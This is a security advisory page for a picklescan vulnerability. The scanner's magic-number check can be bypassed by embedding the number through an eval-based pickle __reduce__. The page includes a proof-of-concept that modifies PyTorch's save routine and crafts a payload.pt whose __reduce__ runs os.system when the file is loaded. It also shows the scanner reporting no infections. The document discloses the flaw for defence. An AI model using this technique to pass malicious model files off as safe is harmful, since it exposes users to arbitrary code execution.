CVE-2026-53875: Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
Summary This is a scanning bypass to scanpytorch function in picklescan. As we can see in the implementation of getmagicnumber() that uses pickletools.genops(data) to get the magicnumber with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses picklemodule.load() to get this magicnumber.
Published Feb 18, 2026 · Updated Jun 18, 2026
Affected packages
picklescan
- Ecosystem
- PyPI
- Affected
- < 1.0.3
- Fixed in
- 1.0.3
- Check
pip show picklescan
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.
PoC
Attack Step 1
we can edit the source code of the function \_legacy\_save() as follows:
class payload:
def __reduce__(self):
return (eval, ('MAGIC_NUMBER',))
pickle_module.dump(payload(), f, protocol=pickle_protocol)Attack Step 2
with the modified version of PyTorch, we run the following PoC to generate the payload.pt:
import torch
class payload:
def __reduce__(self):
return (__import__('os').system, ('touch /tmp/hacked',))
torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)Picklescan result
ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0Victim Step
import torch
torch.load('./payload.pt', weights_only=False)then you can find the illegal file /tmp/hacked created in your local system.
Impact
Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.
Credited to zpbrent.
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2
- https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c
- https://nvd.nist.gov/vuln/detail/CVE-2026-53875
- https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89
- https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f
- https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch
- https://github.com/advisories/GHSA-97f8-7cmv-76j2
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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